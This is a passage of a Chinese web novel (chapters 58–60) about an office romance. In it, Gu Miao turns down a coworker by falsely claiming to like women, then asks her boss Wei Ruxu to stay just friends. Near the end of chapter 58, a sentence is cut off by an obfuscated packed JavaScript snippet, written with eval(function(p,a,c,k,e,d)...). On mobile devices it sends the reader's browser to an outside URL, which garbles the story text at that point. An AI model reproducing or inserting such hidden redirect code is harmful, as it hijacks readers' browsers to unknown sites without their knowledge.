“没事,就是昨天没睡好,走吧,搞不好还得等位呢。”顾妙想着今天晚上一定要把车翔的事儿解决掉,免得夜长梦多,这才不愿改期。 谁知车翔自作多情地认为,这是顾妙不想推掉跟他一起吃饭的机会,心里高兴得很,更加献起殷勤来,说要打车过去,被顾妙一票否定,被迫跟她上了地铁。 她莫名抗拒跟车翔待在轿车这样的密闭空间里,实在太别扭了。 赶到商场的时候,只有几家快餐店不用等位。车翔看到顾妙的表情有点惆怅,主动表示要去吃日式拉面。 他想着顾妙上班第一个月的工资还没拿到,再说吃饭就是个形式,吃什么并不重要,重要的是跟她一起吃。 顾妙想早点吃完饭回家干活儿,她实在不想等位,可是请人吃快餐又太不像样。既然车翔主动提议,她也不打算纠结,顺坡下了驴。 仿佛睡一下午觉也很消耗体力,顾妙一看见那热乎乎的面,顿时食指大动,吸溜吸溜地吃了起来,连话都顾不上跟车翔说。 吃到还剩三分之一的时候,她脑神经意识到了今天的主题,开始犯愁。 怎么扯到那个话题上呢?冷不丁说这事儿,万一人家来一句“抱歉你误会了我没那个意思”,岂不是脸都被打歪? 想到这事儿,顾妙下意识的抬头看了车翔一眼,就撞见他看自己的眼神不太对劲,笑眯眯的……慈祥中带了一点油花,怜爱中掺杂着一缕占有欲,反正挺复杂,让人很不舒服。 “怎么了,翔哥,这么看着我。”顾妙抽了张纸巾不好意思地擦了擦嘴,“我吃相太难看了,吓着你了吧。” 车翔碗里的面并没动多少,他拿着筷子,只顾看顾妙:“谁说的,喜欢看你吃饭,大大咧咧的多可爱,一点也不矫揉造作。” 顾妙心道,真是刚想瞌睡他就送枕头。 “嗨,我爸妈把我当男孩子养,我都习惯了。你还不知道吧,我从初中就开学跆拳道,现在是红带级别。”顾妙笑嘻嘻地说,“在家没事儿就拿我弟练手,吓得他敢怒不敢言。” 车翔诧异地睁大眼:“妙妙你这么厉害呀,那要是跟你一起出门,一定很有安全感。” 顾妙一阵牙酸,不是说好了不叫妙妙的吗? 这俩字从车翔嘴里出来,怎么听怎么别扭。 “非也。”顾妙竖起食指晃了晃,坏笑着说,“遇见坏人,大概率我比你跑得还快。没听专业人士说过么,路遇不法分子,逃跑是第一要诀。” “唔,这也对。没必要跟坏人论输赢,保证自己的安全是最关键的。”车翔认同地点头,笑容持续甜腻地看着她,追加了一句夸奖,“妙妙最聪明了。” 顾妙:“……” 行叭! 车翔虽然物似主人形地跟廖玄一样油腻,但说起来,也是个处在上升期的白领,眼看离精英也没差几步。人长得不算丑,智商不算低,工资也不算少,为什么还是单身狗一枚呢? 顾妙终于发现原因了——这人实在太像癞皮狗,夸女孩子夸得毫无技巧,语言直白不说,还总透着一股巴结奉承的劲儿,令人直起鸡皮疙瘩。 上赶着不是买卖啊车助理! 想必平日里看上车翔的,车翔看不上对方,车翔看得上的,人家又看不上他。想找个高度匹配的实在有点难。 “害,可别夸我聪明。”顾妙摇摇头,“我要是聪明,能给廖总当一天助理就气得他直翻白眼?” “廖总笑脸迎人都留给客户了,对自己人就懒得装,脸色通常都不好看。”车翔认真地说,“在公司要总是揣摩老板脸色,带着情绪做事,这样上班多痛苦。你得学会把自我和工作分割开,好就再接再厉,坏就复盘更正,工作上的好与坏都不要影响到情绪。这样理性对待才能让你走得更远。” 这话说得在情在理,顾妙突然想起顾肖也曾经说过类似的话。 人与AI相比,情感是更高一级的智能,同时也会带来相应的负面影响。因此用智商就可以解决的问题,没必要调动情感。 不走心,只走脑,就可以轻易抽离,不受情绪之害。 顾妙有点郁闷:“道理我都懂系列。” “没关系,慢慢训练就可以了。你才上班一个多月,何必急于一时。”车翔见她有点晃神,惆怅的样子更惹人怜爱,不由地语气更温和,缓缓伸过手去,用食指触碰了一下顾妙的手指,一触即放。 顾妙顿时起了一身鸡皮疙瘩。 好,既然如此,我只能摊牌了。 她没有挪开手,只是看了一眼被车翔碰过的手指,一抬头,对上了车翔含着殷切试探的眼神,叹了口气。 “翔哥,你是一个好人,也是个好前辈,这阵子对我的照顾我都记在心里。”顾妙斟酌地说。 好人卡还是要发的,不然也太小气了。 车翔愕然,觉得自己试探得有点过火,想要往回收,已经来不及了。 他刚想张口,顾妙打断他,继续说道:“可能是我自作多情,但……有些话我想先说清楚,免得最后伤害到你。” “你别多想,我……”车翔试图见缝插针,可惜顾小妙想清楚的计划,是没有缝的。 她认真地看着车翔:“本来我不想跟任何人说,但是——翔哥,我跟你一样,喜欢的是女孩子。” 车翔一时没反应过来:“?!” “你的意思是,你的意思是……”车翔看着她,嘴唇哆嗦着,像是被平底锅狠狠拍了一下似的,连句整话都说不出来。 他原本像个围棋九段,每走一步都能把后面几步的可能性推演一遍,但是这个可能性他真的从来没想过! 顾妙见目的已经达到,好整以暇地接着说:“我的意思是,我可以跟你做讲义气的好哥们儿,如果你喜欢别的女孩子,我还能当僚机帮你出谋划策,但别的就不行了。” 车翔:“……” 神特么僚机! “你怎么不说话……”顾妙恰如其分地表现出一点紧张,“难道……你对我们有成见?” “瞎说,没有,别误会!”车翔赶紧否认三连,恢复语言功能,但神情仍是掩饰不住的遗憾,“你平时虽然大大咧咧,但还是个温婉可人的女孩子模样,我是真没看出来……” 顾妙笑了笑:“我们也不都像男孩子呀,你这也是刻板印象。” 车翔尴尬地端起水来喝了一口,附和地点了点头,心里是一声长叹。 这顿饭吃得真是让人断情绝爱。 顾妙觉得这么撒谎骗人其实有点欠揍,但想想这样能让她永绝后患,也是件好事。 况且她也没代入什么玛丽苏小说女主角,她知道车翔只是对她有意,完全没到动心的地步。早早刹车也是好的。 至少她没伤害任何人,对吧。 魏如栩健身完回来,整理了一些报告、报表装进背包里,准备带回家看,他抄着口袋走到办公室大门口,忽然停住了脚。 犹豫了几秒钟,他到顾妙工位的桌子下面拎出了盛然拿来的购物袋,晃晃悠悠地下了楼。 明明能帮,还不让帮。他越想心里越痒,浑身都别扭。 举手之劳嘛,魏如栩想,她心那么大,又不是矫情的人,不会怪我的。 再说了,好邻居就是要互相帮助嘛! 小魏总理由想得充分又通顺,一身轻松地往家走。进了小区,还有意张望了一下,生怕偶遇凌晏如,万一被她看见,回头东西又送到她手上,搞不好人家就猜出来他都知道了些什么。 八卦归八卦,毕竟小姨是长辈,这是她的私事,人家不说,他也不好意思表现出一副知道了的样子。 他一边想一边走,忽然一辆SUV从他身边经过,停在不远处的停车位上。 咦,这车怎么有点眼熟? 雾草! 相隔两三米,魏如栩跟从车上下来的盛然看了个对眼。 盛然看了看魏如栩手里那个他无比熟悉的购物袋,一切了然于心,会意地笑了笑。 “小魏总。”他礼貌地打招呼。 魏如栩:“……盛总。” 盛然:“你还特意帮顾助理把东西送到家里来?” 他把“特意”两个字咬得很重。 “不是,我住这,顺路……”魏如栩本能解释,然后他看到盛然一脸八卦的魔性笑容,意识到自己不小心透露了一个不该透露的秘密。 盛然:“哦?什么时候搬过来的?” “就……前两天。”魏如栩突然就有点恼火,这个盛总平时挺有分寸的,今天是不是故意的? 反正事无不可对人言,再说同在一个小区,总有撞见的一天,魏如栩想到这里,心一横,自首道:“我公寓转租给朋友了,觉得这边小区比较有生活气息,恰好网上也有房源出租,还跟顾助理是隔壁,觉得很巧,大家平时还能相互照应,就搬过来了。” 盛然淡淡一笑:“我也没问这么详细啊。” 魏如栩:“……” 这家伙就是故意的!出了公司就不认我当老板了是吧! 小魏总色厉内荏地看着盛然,试图拿出老板的威严。谁知盛然看着他,丝毫不怵,接下来的问题更是单刀直入:“小魏总是喜欢顾助理吧?” 魏如栩心累,真是反了你们了!不给年轻老板留点面子的吗? 盛然见他丧着脸不肯承认,拿出了有力证据:“撞车那天,你硬要跟着顾助理回家,我就猜到了。” 魏如栩心想:“算你厉害,比我知道得都早。” 他清了清嗓子:“盛总是要劝我别打公司员工的主意吗?免得传出去名声不好。” “我是那样的人吗?”盛然一脸备受侮辱的委屈,“只要你们俩是真心的,管别人怎么说?” 魏如栩十分意外,眯起眼睛端详着盛然的表情,觉得事情不会这么简单。 “出了公司,咱们不按职务论高低,也可以像朋友一样谈谈心。”盛然不慌不忙地说,“我想追顾助理的小姨,你想追顾助理。我觉得咱们是友军,将来可以互相帮忙。” 魏如栩腹诽:“你们做客户的果然都是人精!” 不过这个提议也还不错,至少有个年长男性从旁策应,他也不至于再一时冲动,做出什么奇怪的举动。 可……除了业务好之外,他对盛然的私人品格并不了解,贸然和他成了同盟,在不知情的情况下帮了倒忙,伤害到小姨怎么办? 答应是一定会答应的,是不是互相帮助还要再观察,但至少可以帮小姨盯着盛然,万一他是个大渣男,就让他滚得远远的! 盛然见魏如栩沉默片刻,追问道:“你觉得怎么样?” 魏如栩高冷地点头:“可以考虑。” “合作愉快。”盛然向魏如栩伸出手。 魏如栩使劲儿握了一下,冷着脸说道:“小姨是个好人,但我不希望你对她用对客户 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“既然这样,我还有个小建议给你,不知道你愿不愿意听。”盛然的目光扫过魏如栩手里的购物袋。 魏如栩不知道自己又做错了什么,连忙道:“你说。” “既然顾助理没让你帮她把东西带回来,你就不要自作主张。虽然在你看来是举手之劳,但她会觉得你不尊重她的想法。”盛然似乎想到了什么,翘起嘴角笑了一下,“顾助理跟她小姨的脾气很像,都是非常独立自主的人。你如果一而再再而三地忽略她的感受,只享受自己单方面宠溺带来的成就感,那你会离她越来越远。” 魏如栩:“……” 果然!他应该相信自己的直觉! 盛然看到魏如栩仿佛遭到当头棒喝的一脸空白,觉得自己的话起了作用,便拍拍他的肩膀:“事情不大,她会理解你的好意。但我的建议是从这件事开始就不要这么自以为是,你好好考虑一下。我先回去了。” 魏如栩目送盛然上了楼,脑子里一直懵,不知道接下来该怎么操作比较好,整个人半身不遂地回到了家。 早上顾妙给他蒸的包子还在冰箱里放着,当时他只吃了一个,觉得味道确实不错,可是鉴于那时心情过于复杂,剩下的实在没吃下去。 现在健身完又折腾回来,魏如栩确实饿得前胸贴后背,就赶紧把包子拿出来,放在锅上热着。 等待的时候他一直在想,要不要明天早上提前到公司,把东西再放回顾妙的桌子下面,装作一切都没发生过,完美。 这个时候他突然回想到了盛然的话,意识到了一个被自己遗漏的信息点。 顾妙是跟车翔去吃饭的?! 还不想让他知道! 魏如栩一时不知自己该有什么样的感受才对,一会儿醋意滔天恨不得找到车翔砍掉他的狗头,一会儿又觉得顾妙连这样的事都不愿意告诉他,可见自己最近表现得有多么离谱。 都已经这么离谱了,就不要再雪上加霜了吧? 他战战兢兢地把热好的包子狼吞虎咽地吃了下去,甚至不惜烫破了嘴皮,吃完之后拎起购物袋,决定不等明天早上了,还是连夜给送回去吧。 锁好门,魏如栩正拔腿要走,就听见顾妙家门后面传来小狼“嗷嗷”的叫声。他认得出魏如栩的脚步,正一边挠门一边嚎叫求拯救。 一定是顾妙没给他放够粮食,这娃给饿坏了。 自从小狼因为吃撑而拉肚子之后,顾妙就不敢给他多喂,每天数着猫豆入盆,魏如栩看着都觉得饥肠辘辘。 可惜这是个比较强势的娘,他这个慈祥的干爹完全说不上话,只能在心里默默给小狼点根蜡。 魏如栩蹲在顾妙家门外,对着里面的小狼轻声说:“狼啊,乖,等会你那狠心的娘就回来了。我帮你催催她。” 小狼似乎听明白了他的话,轻轻地“喵”了几声,没再挠门了。 他甩开长腿,健步如飞地往楼下冲去,出了住宅楼就给顾妙发微信:“狼他娘,你什么时候回家?你儿子快饿死了。要不咱俩交换一下家门钥匙,方便照应,万一谁哪天忘带钥匙也好办。” 发完微信他开始叫车,叫完车才意识到,不好,交换钥匙的行为会不会过于亲密?!会不会又给她压力? 暗恋一个人,就是这么瞻前顾后、左右为难! 小魏总觉得自己快废了,十多年的英明决断哪里去了?! 他手忙脚乱地想撤回消息,发现已经过去了两分钟,撤不回了。 正当他绝望地盯着手机发呆的时候,顾妙回微信了:“我进小区了。” 魏如栩顿时一愣:“?” 他慌忙四下打量,果然看见顾妙扛着电脑顺着路边走过来的身影,本能就想躲起来不让她看见,可是附近只有一排矮矮的小叶黄杨和几棵树,连个说得过去的遮挡物都没有。 真是天要亡我! 眼看顾妙就要拐过来了,魏如栩慌不择路,死马当活马医地躲在了一棵看起来比较粗壮的树后面,屏气凝神地偷偷观察着顾妙,背着她视线所及的方向缓缓移动身影,心想幸好天黑了,这里还有阴影…… 正当这时,他的手机响了,《直到世界尽头》在这安静的小区一隅声音显得分外嘹亮——是司机师傅打来的。 顾妙听到这熟悉的铃声,并没立刻想到是魏如栩,只是觉得此人跟她小魏总的铃声是一样的,本能地望过去—— 四目相对。 59. 第五十九章 Tragedy 魏如栩避无可避,觉得铃声歌词里一个英文词组形象地描绘了当下场景:Tragedynight。 顾妙满脸写着不解:“你躲在这儿干什么?” 魏如栩接起电话,尴尬地冲顾妙笑笑,有气无力地对司机师傅说:“抱歉啊师傅,得取消订单了,真的很不好意思。” 司机师傅很不满意,抱怨了几句挂了电话。 顾妙已经走到魏如栩面前,看着他手里的购物袋:“你这是要打劫我,不小心被抓现行么?” 魏如栩:“……” 他仰头看着天上,月亮缺了一块,像是被狗啃过似的,可光芒不打折扣,清楚映着小魏总欲哭无泪的脸。 架不住顾妙探寻的目光,魏如栩叹了口气,把整个心路历程挑挑拣拣地说了一遍,大意就是一天之内在同一个地方摔倒两回,光顾着自己献爱心,没尊重她的意愿,实在抱歉,下不为例。 说完他小心翼翼地转了转眼珠,觑着顾妙的表情。 顾妙睁着圆溜溜的眼睛,仰着头看他,不知道在想些什么,神态十分专注,姿态恰到好处……咳,让人想亲,并且一低头就能亲到。 魏如栩为自己在认错的时候还敢心猿意马的狗胆表示点赞。 “……你想什么呢?”他有点紧张,“生气了?” 顾妙“噗嗤”一笑:“我有那么爱生气吗?老板你什么时候变得这么怂了?” “我这是在意你的感受,怎么能叫怂?”魏如栩有点恼火,“谁叫你反应迟钝,半天不给回应。” “我就是在想,你既然把盛总给我小姨的东西帮忙拿回来了,为什么不把我放在抽屉里的那套衣服也一块拿回来。”顾妙若有所思,“你是真打算给盛总助攻?” 卧槽! 魏如栩连拍大腿,后悔不迭。 失策啊,真失策!他其实还挺想看顾妙穿那套衣服呢,一定很好看。 怕不是从健身房里回来,血液全供四肢不供脑子了? “我忘了……”魏如栩干巴巴地说,“没看见,就没想起来。” “啧,你在我工位上坐了一下午,就帮我收了这两件东西,还忘一个。看来你可不是当助理的材料,还是好好当老板吧。”顾妙冲楼里一甩头,“走吧,家里还有头饿狼要喂呢。” 顾妙表面上插科打诨,但她知道这是魏如栩想照顾她的表现。虽然说了不让帮他非要帮,换了别人她心里会不舒服,但她不忍苛责她小魏总。 所以原则这种事吧,听听就行了。 面对不喜欢的人,各种条条框框横平竖直,恨不能浑身都是逆鳞,一触就要暴走。 但是面对喜欢的人,嗯,你说什么都对。 有两种理由是完全不用讲逻辑的。一个是对方长得好看,一个是我喜欢。 魏如栩见顾妙没生气,也放了心,大包大揽地把她电脑包接过来背上身,和她一起上了楼。 交换钥匙的事儿暂时没有再问了,他可不想一波刚平,一波又起。 一进家门,小狼冲过来对他俩嗷嗷叫,愤怒地向顾妙这个后妈问责。顾妙弯腰想摸摸他脑袋,竟被他一爪子拍开。 小狼敏捷地跑到他的饭盆前,蹲得威武雄壮,看了看沙发,又看了看顾妙,似乎在威胁她:“再不给吃的,就挠烂你的沙发!” 顾妙看着已经被勾起无数线头的沙发垫子,低头服输,打开储粮桶,舀了一勺猫粮放进他的饭盆里。小狼这才安心地低头吃饭。 魏如栩蹲在一旁,爱怜地摸了摸小狼的脑门:“慢点吃,可别消化不良。” 小狼吃得开心,尾巴尖轻轻晃了晃,百忙之中抽空表示赞同。 顾妙不服:“怎么我就摸不得,你摸就这么乖?这狼怕不是个gay狼?跟你这么亲,你把他带走吧。” “你老是要把人送走,人家跟你亲才怪。对待猫咪要温柔知道吗?”魏如栩站起身,无奈地说。 “老子是社畜,每天累得心力交瘁,字典里没有‘温柔’两个字。”顾妙推开厨房门,看到早上做包子搞得一片乱七八糟还没收拾,顿时觉得大脑像被勒紧了猴皮筋,疼得厉害。 “也可能是远香近臭,跟一个动物你较什么劲。别动,放着我来吧。”魏如栩把她的东西放在沙发上,大步走进厨房,拧开水龙头开始洗刷刷。 顾妙之前没有拒绝他帮她背电脑包,这回也没拒绝他帮她洗厨具,对于一个习惯了要强的人来说,这显得格外顺从了。 魏如栩一边洗那些面盆,一边回头看她,见她靠在厨房的门框边,垂着眼睛,长长的睫毛在眼底投下阴影,看不到她的眼神。 “你们家厨房的灯有点暗,回头我帮你换个亮一点的节能灯。”魏如栩没话找话。 顾妙轻轻点头:“嗯。” 魏如栩:“你还有工作就抓紧忙去吧,我洗完这些东西也回家看文件。” “老板,我心情有点不好。”顾妙突然说。 “怎么了?”魏如栩关上水龙头,转过身看她,狭窄的厨房空间里,两个人站得很近。他抓过一张纸擦了擦手,小心翼翼地撩起顾妙脸颊边垂下的一缕刘海,帮她绕到耳后。 顾妙仰起头看向他,昏暗的灯光下,她的眼睛亮得让人心惊,像是含了泪水,但迟迟没有流下来。 魏如栩只觉得自己心跳加速:“是不是车翔对你说什么了——盛总看见你俩一起走的,之前在小区里碰见,他随口说的。我没有跟踪你,真的!” 顾妙愣怔了一秒钟,随即微微弯了弯眼角:“说起来是我不对,藏着掖着没告诉你,好像我跟他有什么见不得人似的,又好像我背着你偷情了似的。其实这有什么,大家是同事,都清清白白的。” “嗯……前几次是我反应过激了。”魏如栩一手扶着门框,像是把顾妙圈在了怀里,“跟他吃完饭,心情不好……发生了什么?” 顾妙轻叹了一口气:“其实这顿饭是计划中的事,他帮了我这么多,我请他吃饭意思一下,顺便让他打消对我的念头。我……骗他说我不喜欢男人,喜欢女孩子。” 她不想让魏如栩误会,也不想对魏如栩撒谎,因此“骗”这个字咬得很重,以示强调。 魏如栩:“……” 你这拒绝方式也太硬核了吧! “你怎么……怎么……”魏如栩“怎么”不出个子丑寅卯,尴尬地挠挠脸。 顾妙奇怪地看着他:“车翔吓一跳我能理解,你明知道我是骗人的,干嘛还这副鬼样子?” 魏如栩喉结轻轻滚动一下,越过顾妙的头顶看向别处:“就算是假的,信息量也有点大,我处理一下。” 怔了片刻,他问:“怎么想到用这个理由?” “比较不伤人吧。”顾妙垂头丧气地说,“而且一劳永逸。” “那你就没有想过,这事儿要是传出去,会有女孩子追你吗?” 顾妙甩了个白眼给魏如栩:“你当我是人民币,谁见了都喜欢?太高估我了吧!” 魏如栩一阵心虚,那可不,喜欢的人在自己眼里就是全世界最好的,谁多看她一眼都有可能是喜欢她,要不然哪这么多干醋可吃呢。 “事情解决了,为什么还不开心?”魏如栩持续追问重点。 他垂着眼睛,看着面前神情沮丧的女孩,手有点痒,想去摸摸她的脸,用了好多意志力才克制住。 顾妙低声说:“就是觉得拒绝一个人、还是这样费尽心思地扯谎去拒绝一个人,心里很不舒服。感情的事是头一遭,以前有人管我借钱、让我帮一些过分的忙——虽然知道自己做的是对的,可是拒绝对方,我仍然难受,好像辜负了谁似的。” 魏如栩安慰似地轻轻摩挲过她的发顶,柔柔地说:“知道自己做的是对的,那就够了。有这种情绪,可能因为你的同理心比较强,代入了对方的感受。你讨厌那种被人拒绝后的失落,更不希望自己是给别人造成这种情绪的始作俑者。” “这么分析的话,其实我更自私是吗?”顾妙看着他,“既不想付出什么,还想当朵完美无缺的白莲花。” “不要过度解读这种心理。”魏如栩按住她的肩膀,认真地说,“没有人是完美的,你首先得对得起自己,才能对得起别人。” 一向坚强的顾助理今天分外软弱,可能从昨晚到现在,过得实在跌宕起伏,情绪的副作用就开始蔓延,不受大脑控制。 她感觉到魏如栩手心的温度火一般灼热,一如昨晚拥抱她的那个胸口。她突然有一种冲动,想要再次投入这个滚烫的怀抱里,即便化成灰也心甘情愿。 然而下一秒,她就止住了自己的妄念。 顾妙沉默片刻,声音有点哑:“我不想再面对这样的事情了。” 魏如栩怔了怔:“什么意思?” “我实在不擅长拒绝别人,所以……不想有人喜欢我。感情这种事太高深莫测我处理不来,如果非要逼我,我会非常惶恐。” “如果你也喜欢对方呢?”魏如栩问出这个问题,突然觉得答案不会是自己想知道的,可惜这不是微信聊天,连撤回的机会都没有。 顾妙低着头,违心地说:“我以前没有喜欢过别人,不知道怎么确认。而且我也不敢期待这种感情,因为怕不长久。你还记得《重庆森林》的台词吗,‘在这个世界上,还有什么东西是不会过期的?’我害怕那种曾经全情投入,最终却烟消云散的东西,就好像我辜负了对方,或者被对方辜负。快乐没有了,只剩下怨念,甚至想一想都会疼,显得过往的快乐都变成了谎言。” 话题往沉重的方向走了,魏如栩不想听,他开始觉得顾妙好像要暗示他什么,本能地开始逃避,打趣说:“怎么突然开始写诗了?这种糟心电影以后少看,大家都挺忙挺累的,休息的时候看点开心的东西不行吗?” 他转过身去,继续洗那些没洗完的盆盆碗碗,嘟囔着:“我们都是普通人,没有那些复杂的悲伤——我就是学艺术的,认识太多这样矫揉造作的人。因为他们就是干这一行的,吃的就是矫情这碗饭,整天探寻的就是深刻啊意义啊。我在公司待了这一段时间,可看透了,要是思考太多意义,就没办法做事了。咱们凡人顶多把这些当佐料,吃太多了伤胃。” 水龙头哗哗地流淌着,淹没了一切情绪。魏如栩听不到顾妙的声音,也不敢回头看,生怕一个不小心,她就把自己最不想听到的话说出来。 然后他就感觉到一个纤瘦的身体靠近了自己,靠在他的后背上。 一刹那,魏如栩的呼吸都停了,水声突然变得嘈杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459436|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,他伸手关上水龙头,周围一片寂静。 顾妙知道自己要说什么,她不敢伸手拥抱他,只是低下头,额头抵在他的后背,似乎能听到他快到变速的心跳。 魏如栩喉咙仿佛哽住了:“顾妙,你……” “老板,我心里难受,借你后背靠一下……你看我虽然跟顾肖整天怼来怼去,但吃穿用度从来没短过他,生活上能宠就宠。我享受了十八年的父母宠爱,到他那里只有十四年,我欠他的。”顾妙自顾自地低声说,“但这把我也养出了毛病,我是被宠大的,又突然间没了这份爱,一边努力坚强,一边物伤其类,见不得别人独自凄凉。所以有时候,我会不自知地对别人好得过头,让人误会。” “瞎说什么,你根本没有……”魏如栩声音颤抖,连话都说不完整。 顾妙眼泪流了出来,她飞快地抬手擦掉,幸好魏如栩背对着她,没有被他看见。 她在心里对自己说:“顾小妙,不要心软。” “这是我的问题,我会改。不再给人错误暗示。我不想有人喜欢我,我也害怕去喜欢别人。你看我外表挺硬核的,其实内心脆弱得不行,什么都怕,最怕的就是改变。”顾妙吸了一口气,继续说道,“我希望人生若只如初见,美好的东西一直美好;我希望所有的事都平静安宁,不要跌宕起伏;我希望身边的人一直在,谁也不要突然离开……” 魏如栩突然转过身看着她,顾妙不由地后退一步,来不及擦掉的泪水还挂在眼角。 她迎着魏如栩的目光,声音嘶哑地说:“我希望朋友之间的关系,永远不要改变。” 似乎有一只手暴力地穿过了魏如栩的胸口,找到了他那颗跳得不规律的心脏,两只手指捏起那鲜红的血肉,用力拧了一把。 疼得锥心刺骨。 他注视着顾妙祈求的眼神,努力调整好自己的呼吸频率,对她露出一个安抚的笑容。 “傻瓜,说着说着怎么还哭了?”魏如栩忘了去抽纸巾,沾满水的手在身上胡乱蹭了一下,伸手抹去顾妙眼角的泪水。 顾妙清楚地感受到,他的手变凉了。 即便知道那是因为水,她还是觉得那是因为自己。 多可恨啊,当头一盆凉水,浇灭别人心头的火。 她觉得似乎有一根针,正在缓慢地穿透自己的心,把每一分疼痛都清晰地刻在了反射神经上,浓稠得仿佛永远不会散开似的。 如果做的是对的,为什么还会这么痛苦? 如果这么痛苦,又是不是说明做对了? 小姨好像说对了,我比想象中还要喜欢他。 魏如栩依旧温柔地看着她,笑容仿佛最灿烂的阳光,一如当初两人第一次见面的时候那样:“我确实不想只做你的老板,能跟你做朋友,我很荣幸,当然不想改变。” 他低下头,目光认真而深沉:“你想要永远,我就许你一个永远。” 不管将来怎么变,至少我会一直站在你身边。 顾妙望着他那一脸春风和煦、能融化坚冰的微笑,心重重一沉。 他明白了。 可是他也难过了。 她的小魏总,只有在不高兴、或者想要隐藏真实感受的时候,才会附赠这样无懈可击的笑容。 可她还能怎么办呢? 既出手伤了人,又想人不受伤吗? 顾妙从没有如今天这般讨厌自己,又痛恨自己的软弱。 她从没想过跟老板谈恋爱会给自己带来什么非议,她也根本不在乎这些。她怕的就是根本留不住面前这个人,早晚梦碎。 长痛不如短痛,至少现在还能留住美好。 “好了,跟你聊天这半天,碗都没洗完。”魏如栩在她头顶重重摩挲了一下,把顾妙的头发弄乱了,转身接着洗碗,絮絮叨叨地说着,“真不能跟你说了,我也一堆文件没看呢。对了,你说我要不要把爱伴宠物给的那个自动喂食器样品拿回来给小狼用啊,免得咱俩不在家,再把他给饿着。” 顾妙紧紧地盯着他的背影,片刻后才故作轻松地说:“好啊,有便宜不占王八蛋。老板你都开口了,我当然从善如流。” 魏如栩回头看着她,笑了笑:“经不起革命考验啊顾助理,本性暴露了。” “早发现、早治疗。”顾妙冲他眨了眨眼,伸手拉开冰箱,拿了瓶冰可乐,拉开罐递到他面前,“说半天还没给你水喝,抱歉了,来,肥宅快乐水弥补一下。” 魏如栩就着顾妙的手喝了一口,既然话说明白了,再怎么亲密的动作似乎也都变得单纯,没人再去介意。 痛还是痛的,只是让人清醒了。 他咂了咂嘴:“嘶,坏了!” 顾妙愕然,看了看手里的可乐罐:“怎么了?过期了?” “我健身呢!你还投喂这个给我。”魏如栩郁闷,“晚上在健身房操练一个小时的成果都被你抹煞了。” 顾妙窃笑:“自己没管住嘴,还赖我。活该!” 魏如栩恼火地把她往外推:“出去吧,在这儿净碍事!” 心神不宁地洗完了所有的碗,魏如栩敷衍地跟小狼互动了三分钟,实在无力维持自己平静的假面具,决定回家。走到玄关处,顾妙突然叫住他,给了他一把家里的备用钥匙。 60. 第六十章 后遗症 魏如栩一怔,看看她手里的钥匙,愣是没敢接。 之前还担心这个提议过于亲昵,后来又来了那么一场灵魂对话,他真是想都不敢想了。 顾妙把钥匙往前一送,塞进他手里:“拿着呀,邻居!万一我哪天昏头忘带钥匙,等顾肖给我寄过来他那把还得一天呢,闪送也得好几个小时,还是搁你这儿一把靠谱。” 凌晏如那里也有顾妙家的钥匙,这个理由完全不成立。但这个举动中包含的是纯粹的信任,魏如栩领悟得非常深刻。 这丫头,似乎是在极大限度地弥补他。 “明智。”魏如栩莞尔一笑,把钥匙放进口袋,“你今晚早点休息,可别熬夜了。” 顾妙做了个鬼脸:“见过鬼还不怕黑吗?” 魏如栩走出去,大门在他背后重重关上,像是有什么东西盖棺论定了似的。 顾妙靠在门后,鼓胀了许久的心猛然间空了一大块,压抑的眼泪汹涌澎湃地流了出来。她两腿发软,顺着大门缓缓滑落,蹲在地上,捂着嘴小声啜泣。 她怕魏如栩听见,却又没有力气走开。 片刻后,她听到魏如栩进家门的关门声,这才敢哭出声来。然而没过两分钟,魏如栩似乎又开门冲了出来,仿佛在她门前停了一会儿,然后“噔噔蹬蹬”地下楼了。 顾妙站起身,握着门把手,努力克制着自己不要跟出去。 深秋晚上已经凉快了很多,魏如栩甚至有点冻得发抖。 他胸口堵了一股气无处抒发,进了家门又觉得憋闷,迫切想要出来走一走。到人多的地方去,仿佛看看人群和万物,才能忽略自己那点不足为外人道的感受。 在宇宙面前,人是那么渺小,所有的爱恨情仇就可以一并忽略不计了吧。 可是小魏总看不到宇宙,只能看到小区附近的一家大型商场。商场前的广场上,许多中老年人在跳广场舞,还有很多狗子跟着主人一起瞎转悠。 魏如栩看到那么多狗,一时还是有点抗拒,便一头扎进了商场里。 可是事实又跟他想象的有点不一样,人多的地方,实在太吵,吵得他有点受不了。而且到处都是手牵着手的人,青年男女、青年男男、青年女女、老年夫妻……从未被虐过的魏如栩突然觉得眼睛很受伤。 大约这就是:幸福的时候可以对所有悲伤视而不见,悲伤的时候看别人的幸福都觉得伤眼。 正不知道何去何从时,魏如栩看到了上次跟顾妙聊过天的迷你KTV,饿虎扑食一样地冲进了其中一间。 他其实并不想唱歌,只是期望自己在人群之中,又能被隔绝在人群之外。这个小隔间果然是个完美的地方。 迟疑了一会儿,魏如栩在歌单里找到了顾妙曾经唱跑调的《茶酒伴》,靠着墙壁发呆。听到那句“儿女情长愁摩愁,不如茶相伴”,他愣怔的表情突然裂开了一个苦笑。 顾妙,这是你的人生理想吗? 很久以后,打扫卫生的老大爷拉开了这个隔间的门,见听着《茶酒伴》的人闭着眼睛,似乎睡着了。 “小伙子,醒醒,商场下班了,抓紧回家吧。” 魏如栩睁开红红的眼睛,努力勾了勾唇角,回馈大爷一个十分委婉的笑容:“谢谢。” 保持一个姿势坐久了,腿有点麻,他“身残志坚”地从高脚凳上下来,行尸走肉般拖着身体向商场出口走去,还听见保洁大爷在敲隔壁迷你KTV的门,催促着“下班了,快回家吧”。 魏如栩木着一张脸,心里冷笑了一声:“肯定是对儿小情侣,像我这样自己来这儿单曲循环的二百五绝世无双。” 另一个二百五怯生生地从隔壁的迷你KTV出来,一边躲着保洁大爷毫无章法的扫把,一边目送魏如栩的身影离开。 也不知道魏如栩的脸疼不疼。 顾妙的眼睛黏在她小魏总身上撕都撕不下来。保洁大爷看着她失魂落魄的样子,八卦地问:“跟男朋友吵架了?” “嗯?没有。” 